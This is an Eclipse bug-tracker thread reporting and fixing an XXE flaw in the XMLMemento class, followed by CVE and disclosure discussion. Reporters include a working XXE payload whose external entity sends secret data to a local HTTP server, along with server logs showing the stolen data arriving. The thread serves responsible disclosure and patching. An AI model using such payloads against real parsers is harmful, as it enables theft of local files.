Community
Participate
Working Groups
Created attachment 287543 [details] Recreation sample Hi Team, When a Java program uses XMLMemento class (org.eclipse.debug.internal.core.XMLMemento) to read an XML file, that contains a XML DOCTYPE declaration, it is possible to send local file data to a server when the DOCTYPE is referring to an external DTD. In the attachment I have provided the following :- TestXMLMementoXXE.java : Program that uses XMLMemento to read an XML file Test.xml Test.xml : Example XML file with DOCTYPE declaration which uses external DTD MyExternal.dtd : Uses Parameter Entity to perform XXE attack by reading contents of a local file called MyPrivateKey.txt and sending it to server MyPrivateKey.txt : Local file that contains some secret data "ThisIsMyPrivateKey0000000007" When the Java program TestXMLMementoXXE is run, it would read the contents of secret file MyPrivateKey.txt and send it to server ( e.g : http://localhost:8000/) $ python3 -m http.server 8000 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 127.0.0.1 - - [11/Nov/2021 11:12:39] "GET /?ThisIsMyPrivateKey0000000007 HTTP/1.1" 200 - As you can see secret data is appended to URL and data is seen on server Our applications uses Eclipse SDK 4.15 and 4.7.3 Can you please fix XMLMemento parsing to prevent such attacks. Thanks Sri
(In reply to Srijith Raman from comment #0) That is a nice catch, Sri! How did you find this? Mementos are mostly stored in the workspace thus the attacker must have access to the filesystem. One place where IMemento objects can be created is during the Part saveState methods in views and editors. I guess the attacker can cast an IMemento to XMLMemento and maybe get access to the internal state of the XML. The IMemento objects are offered back to the part during initialization via the init(..) method. I expect they are not parsed before they are accessed The attacker would only use this method if they have no access to the filesystem but can, in some way, provide the spoofed documents. When can this lead to a practical attack? How can such a spoofed XML be inserted in the filesystem of the victim? Are there other places where IMemento/XMLMemento is used? Do you have a patch in mind? There also exists an org.eclipse.ui.XMLMemento class in org.eclipse.ui.workbench and Mylyn also seems to carry a copy.
Moving to Platform Debug as XMLMemento class (org.eclipse.debug.internal.core.XMLMemento) is from Platform Debug
Moving to Platform Debug as XMLMemento class (org.eclipse.debug.internal.core.XMLMemento) is from Platform Debug(In reply to Wim Jongman from comment #1) > (In reply to Srijith Raman from comment #0) > > That is a nice catch, Sri! How did you find this? > > Mementos are mostly stored in the workspace thus the attacker must have > access to the filesystem. > > One place where IMemento objects can be created is during the Part saveState > methods in views and editors. I guess the attacker can cast an IMemento to > XMLMemento and maybe get access to the internal state of the XML. > > The IMemento objects are offered back to the part during initialization via > the init(..) method. I expect they are not parsed before they are accessed > > The attacker would only use this method if they have no access to the > filesystem but can, in some way, provide the spoofed documents. > > When can this lead to a practical attack? How can such a spoofed XML be > inserted in the filesystem of the victim? > > Are there other places where IMemento/XMLMemento is used? > > Do you have a patch in mind? > > There also exists an org.eclipse.ui.XMLMemento class in > org.eclipse.ui.workbench and Mylyn also seems to carry a copy. As specified in the comment above, the XMLMemento class is also present in Platform UI.
We tried adding the factory property to set the secure processing by : DocumentBuilderFactory factory = DocumentBuilderFactory .newInstance(); factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); After this file access of external DTD file is restricted and we get the following error : [Fatal Error] :2:122: External DTD: Failed to read external DTD 'MyExternal.dtd', because 'file' access is not allowed due to restriction set by the accessExternalDTD property. java.lang.Exception: External DTD: Failed to read external DTD 'MyExternal.dtd', because 'file' access is not allowed due to restriction set by the accessExternalDTD property. at org.eclipse.debug.internal.core.XMLMemento.createReadRoot(XMLMemento.java:120) at org.eclipse.debug.internal.core.XMLMemento.createReadRoot(XMLMemento.java:61) at test.TestXMLMementoXXE.main(TestXMLMementoXXE.java:18) Caused by: org.xml.sax.SAXParseException; lineNumber: 2; columnNumber: 122; External DTD: Failed to read external DTD 'MyExternal.dtd', because 'file' access is not allowed due to restriction set by the accessExternalDTD property. at java.xml/com.sun.org.apache.xerces.internal.parsers.DOMParser.parse(DOMParser.java:261) at java.xml/com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.parse(DocumentBuilderImpl.java:339) at org.eclipse.debug.internal.core.XMLMemento.createReadRoot(XMLMemento.java:93) ... 2 more Is this sufficient ? There are couple of more attributes like XMLConstants.ACCESS_EXTERNAL_DTD, should we use these attributes to specify and restrict the access? @Wim, Do you have any idea on this? Also we will have to move XMLMemento to a common place so that cor and UI both can extend from there. I see JDT UI and JDT Debug also using XMLMemento in other forms.
Rather than restricting the access to the external identity , we can restrict the access to only "file" protocol. after doing that , running the attached project gives the following error: [Fatal Error] :4:37: External Entity: Failed to read external document '?ThisIsMyPrivateKey0000000007 ', because 'http' access is not allowed due to restriction set by the accessExternalDTD property. java.lang.Exception: External Entity: Failed to read external document '?ThisIsMyPrivateKey0000000007 ', because 'http' access is not allowed due to restriction set by the accessExternalDTD property. at org.eclipse.debug.internal.core.XMLMemento.createReadRoot(XMLMemento.java:130) at org.eclipse.debug.internal.core.XMLMemento.createReadRoot(XMLMemento.java:60) at test.TestXMLMementoXXE.main(TestXMLMementoXXE.java:18) Caused by: org.xml.sax.SAXParseException; lineNumber: 4; columnNumber: 37; External Entity: Failed to read external document '?ThisIsMyPrivateKey0000000007 ', because 'http' access is not allowed due to restriction set by the accessExternalDTD property. at java.xml/com.sun.org.apache.xerces.internal.parsers.DOMParser.parse(DOMParser.java:261) at java.xml/com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.parse(DocumentBuilderImpl.java:339) at org.eclipse.debug.internal.core.XMLMemento.createReadRoot(XMLMemento.java:103) ... 2 more Attaching the gerrit with System property change.
New Gerrit change created: https://git.eclipse.org/r/c/platform/eclipse.platform.debug/+/187978
Using Eclipse itself does not appear to be vulnerable, but the applications built on eclipse using XMLMemento can open up XXE attack opportunities.
see Java API for XML Processing (JAXP) Security Guide https://docs.oracle.com/en/java/javase/17/security/java-api-xml-processing-jaxp-security-guide.htm
(In reply to Wim Jongman from comment #1) > (In reply to Srijith Raman from comment #0) > > That is a nice catch, Sri! How did you find this? > > Mementos are mostly stored in the workspace thus the attacker must have > access to the filesystem. > > One place where IMemento objects can be created is during the Part saveState > methods in views and editors. I guess the attacker can cast an IMemento to > XMLMemento and maybe get access to the internal state of the XML. > > The IMemento objects are offered back to the part during initialization via > the init(..) method. I expect they are not parsed before they are accessed > > The attacker would only use this method if they have no access to the > filesystem but can, in some way, provide the spoofed documents. > > When can this lead to a practical attack? How can such a spoofed XML be > inserted in the filesystem of the victim? > > Are there other places where IMemento/XMLMemento is used? > > Do you have a patch in mind? > > There also exists an org.eclipse.ui.XMLMemento class in > org.eclipse.ui.workbench and Mylyn also seems to carry a copy. You are correct. In order to exploit this vulnerability Attacker must have access to filesystem. I have found the XMLMemento Class in the following jars. But not sure if it is used in any other jars. org.eclipse.ui.workbench_3.118.1.v20200327-1111.jar org.eclipse.debug.core_3.15.0.v20200224-0654.jar Practical attack would be when application shares exported settings xml between machines. In our application we have a temporary workaround by pre-screening xml. But it needs to be fixed in the source, which is XMLMemento.
(In reply to Jörg Kubitz from comment #8) > see Java API for XML Processing (JAXP) Security Guide > https://docs.oracle.com/en/java/javase/17/security/java-api-xml-processing- > jaxp-security-guide.htm https://docs.oracle.com/en/java/javase/17/security/java-api-xml-processing-jaxp-security-guide.html ;)
(In reply to Sarika Sinha from comment #5) > Rather than restricting the access to the external identity , we can > restrict the access to only "file" protocol. after doing that , running the > attached project gives the following error: > [Fatal Error] :4:37: External Entity: Failed to read external document > '?ThisIsMyPrivateKey0000000007 > ', because 'http' access is not allowed due to restriction set by the > accessExternalDTD property. > java.lang.Exception: External Entity: Failed to read external document > '?ThisIsMyPrivateKey0000000007 > ', because 'http' access is not allowed due to restriction set by the > accessExternalDTD property. > at > org.eclipse.debug.internal.core.XMLMemento.createReadRoot(XMLMemento.java: > 130) > at > org.eclipse.debug.internal.core.XMLMemento.createReadRoot(XMLMemento.java:60) > at test.TestXMLMementoXXE.main(TestXMLMementoXXE.java:18) > Caused by: org.xml.sax.SAXParseException; lineNumber: 4; columnNumber: 37; > External Entity: Failed to read external document > '?ThisIsMyPrivateKey0000000007 > ', because 'http' access is not allowed due to restriction set by the > accessExternalDTD property. > at > java.xml/com.sun.org.apache.xerces.internal.parsers.DOMParser. > parse(DOMParser.java:261) > at > java.xml/com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl. > parse(DocumentBuilderImpl.java:339) > at > org.eclipse.debug.internal.core.XMLMemento.createReadRoot(XMLMemento.java: > 103) > ... 2 more > > > Attaching the gerrit with System property change. My test case just provides an example of one of the type of XXE attack. There could be other types of XXE attack. Below is an example of another simple case. For example, Parsing the following XML should avoid sending "SomeSecretData" string to server. ------------- <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE TestElement [ <!ENTITY % pVariablename1 SYSTEM "http://localhost:8000/SomeSecretData"> %pVariablename1; ]> <Categories> </Categories> ------------- But currently it does send as seen below: $python3 -m http.server 8000 127.0.0.1 - - [22/Nov/2021 06:14:10] "GET /SomeSecretData HTTP/1.1" 404 - If the proposed fix prevents my previous test case and this current test case, then we can be fairly sure that data will not leave the system.
(In reply to Sarika Sinha from comment #5) > Rather than restricting the access to the external identity , we can > restrict the access to only "file" protocol. after doing that , running the > attached project gives the following error: > [Fatal Error] :4:37: External Entity: Failed to read external document > '?ThisIsMyPrivateKey0000000007 > ', because 'http' access is not allowed due to restriction set by the > accessExternalDTD property. > java.lang.Exception: External Entity: Failed to read external document > '?ThisIsMyPrivateKey0000000007 > ', because 'http' access is not allowed due to restriction set by the > accessExternalDTD property. > at > org.eclipse.debug.internal.core.XMLMemento.createReadRoot(XMLMemento.java: > 130) > at > org.eclipse.debug.internal.core.XMLMemento.createReadRoot(XMLMemento.java:60) > at test.TestXMLMementoXXE.main(TestXMLMementoXXE.java:18) > Caused by: org.xml.sax.SAXParseException; lineNumber: 4; columnNumber: 37; > External Entity: Failed to read external document > '?ThisIsMyPrivateKey0000000007 > ', because 'http' access is not allowed due to restriction set by the > accessExternalDTD property. > at > java.xml/com.sun.org.apache.xerces.internal.parsers.DOMParser. > parse(DOMParser.java:261) > at > java.xml/com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl. > parse(DocumentBuilderImpl.java:339) > at > org.eclipse.debug.internal.core.XMLMemento.createReadRoot(XMLMemento.java: > 103) > ... 2 more > > > Attaching the gerrit with System property change. Hi, Do you have a CVE number for this ? We need that information for our internal process. Thanks
To assign a CVE, I first need to know when you intend to disclose (i.e., when do you want to tell everybody?). Then, I'll need a committer to provide the identity of the specific product ("Eclipse Platform Debug"?), a one or two sentence description of the vulnerability, the classification (CWE), and affected version range. For CWE, I'm thinking: https://cwe.mitre.org/data/definitions/611.html There's more information in the handbook [1]. [1] https://www.eclipse.org/projects/handbook/#vulnerability-cve
(In reply to Wayne Beaton from comment #13) > To assign a CVE, I first need to know when you intend to disclose (i.e., > when do you want to tell everybody?). Then, I'll need a committer to provide > the identity of the specific product ("Eclipse Platform Debug"?), a one or > two sentence description of the vulnerability, the classification (CWE), and > affected version range. > > For CWE, I'm thinking: > > https://cwe.mitre.org/data/definitions/611.html > > There's more information in the handbook [1]. > > [1] https://www.eclipse.org/projects/handbook/#vulnerability-cve We can release the fix after 4.23 master branch is open, that is next week. And possibly we can make this public then ? Component - Platform Debug, Platform UI CWE looks good - https://cwe.mitre.org/data/definitions/611.html Affected version range - Git history of 12 years is not sufficient to know when was it added, possibly from the starting. Current implementation of XMLMemento class in both the class does allow the usage of external dtd without any restrictions.
(In reply to Sarika Sinha from comment #14) > We can release the fix after 4.23 master branch is open, that is next week. > And possibly we can make this public then ? When does one make public security issues? To the general user base, the fix will be available only once 4.23 is released (or a 4.22.1 that includes the fix is released). Before that, they'll just know that there is a problem, and that they'll have to live with it for another three months.
(In reply to Thomas Wolf from comment #15) > (In reply to Sarika Sinha from comment #14) > > We can release the fix after 4.23 master branch is open, that is next week. > > And possibly we can make this public then ? > > When does one make public security issues? To the general user base, the fix > will be available only once 4.23 is released (or a 4.22.1 that includes the > fix is released). Before that, they'll just know that there is a problem, > and that they'll have to live with it for another three months. @Wayne, What do you suggest?
> What do you suggest? The rule is that we must disclose after three months. It's easy to fall into a mindset that the issues should not be disclosed until after a patch has been rolled out. That may well be the case. We need to balance the value of disclosing it early enough that our users and adopters can know about it and set about mitigating the associated risk; and the danger of disclosing it and enabling somebody who might exploit the vulnerability learn about it and take advantage. If the risk to our adopters is high, then I recommend quietly reaching out to as many of them as possible to let them know privately, before progressively disclosing the issue to larger audiences and ultimately issuing a CVE. If the risk of exploitation is relatively low, just disclose it and issue the CVE. So a judgement call is required. How real and dire is the risk to our adopters and users?
New Gerrit change created: https://git.eclipse.org/r/c/platform/eclipse.platform.debug/+/188754
Gerrit change https://git.eclipse.org/r/c/platform/eclipse.platform.debug/+/188754 was merged to [master]. Commit: http://git.eclipse.org/c/platform/eclipse.platform.debug.git/commit/?id=95e683bbe3b7e4ae45036c8a27a4b5303e9f5796
New Gerrit change created: https://git.eclipse.org/r/c/platform/eclipse.platform.ui/+/188792
Gerrit change https://git.eclipse.org/r/c/platform/eclipse.platform.ui/+/188792 was merged to [master]. Commit: http://git.eclipse.org/c/platform/eclipse.platform.ui.git/commit/?id=0e1a84ff99587099d104c0ecd0f35e25fe400d74
Gerrit change https://git.eclipse.org/r/c/platform/eclipse.platform.debug/+/187978 was merged to [master]. Commit: http://git.eclipse.org/c/platform/eclipse.platform.debug.git/commit/?id=e81a54a076c159432d2e8b1c661d94a805516849
(In reply to Srijith Raman from comment #11) > (In reply to Sarika Sinha from comment #5) > > Rather than restricting the access to the external identity , we can > > restrict the access to only "file" protocol. after doing that , running the > > attached project gives the following error: > > [Fatal Error] :4:37: External Entity: Failed to read external document > > '?ThisIsMyPrivateKey0000000007 > > ', because 'http' access is not allowed due to restriction set by the > > accessExternalDTD property. > > java.lang.Exception: External Entity: Failed to read external document > > '?ThisIsMyPrivateKey0000000007 > > ', because 'http' access is not allowed due to restriction set by the > > accessExternalDTD property. > > at > > org.eclipse.debug.internal.core.XMLMemento.createReadRoot(XMLMemento.java: > > 130) > > at > > org.eclipse.debug.internal.core.XMLMemento.createReadRoot(XMLMemento.java:60) > > at test.TestXMLMementoXXE.main(TestXMLMementoXXE.java:18) > > Caused by: org.xml.sax.SAXParseException; lineNumber: 4; columnNumber: 37; > > External Entity: Failed to read external document > > '?ThisIsMyPrivateKey0000000007 > > ', because 'http' access is not allowed due to restriction set by the > > accessExternalDTD property. > > at > > java.xml/com.sun.org.apache.xerces.internal.parsers.DOMParser. > > parse(DOMParser.java:261) > > at > > java.xml/com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl. > > parse(DocumentBuilderImpl.java:339) > > at > > org.eclipse.debug.internal.core.XMLMemento.createReadRoot(XMLMemento.java: > > 103) > > ... 2 more > > > > > > Attaching the gerrit with System property change. > > > My test case just provides an example of one of the type of XXE attack. > There could be other types of XXE attack. > > Below is an example of another simple case. > For example, Parsing the following XML should avoid sending "SomeSecretData" > string to server. > ------------- > <?xml version="1.0" encoding="UTF-8"?> > <!DOCTYPE TestElement [ <!ENTITY % pVariablename1 SYSTEM > "http://localhost:8000/SomeSecretData"> %pVariablename1; ]> > <Categories> > </Categories> > ------------- > But currently it does send as seen below: > $python3 -m http.server 8000 > 127.0.0.1 - - [22/Nov/2021 06:14:10] "GET /SomeSecretData HTTP/1.1" 404 - > > If the proposed fix prevents my previous test case and this current test > case, then we can be fairly sure that data will not leave the system. The fix has been released and is available in the build https://download.eclipse.org/eclipse/downloads/drops4/I20211214-1800 We have tested both the scenarios mentioned. Will you be able to test and confirm? Based on that we can proceed to back port the fix to previous versions?
Bug 577892 has been created for the follow up refactoring. Bug 577894 will track the back porting task.
I20211214-1800
Hi Team, Thanks for the fix. Any update on CWE or CVE ?
SonarLint complains about many other uses of XML parser in Eclipse IDE. https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/8 The IDE contains hundreds of calls to DocumentBuilderFactory.newInstance(); Is there a specific reason that only a single usecase was fixed?
I don't have access to the gitlab issue but I can add few details from this issue perspective: The scenarios mentioned by the user in this issue were taken up as the priority to fix. Not all the usages were found to be vulnerable specially if used from within Eclipse. And based on this only restriction to the "File" protocol was added to the DocumentBuilderFactory.
Removed the committers-only flag as the issue has been fixed and is referenced in public materials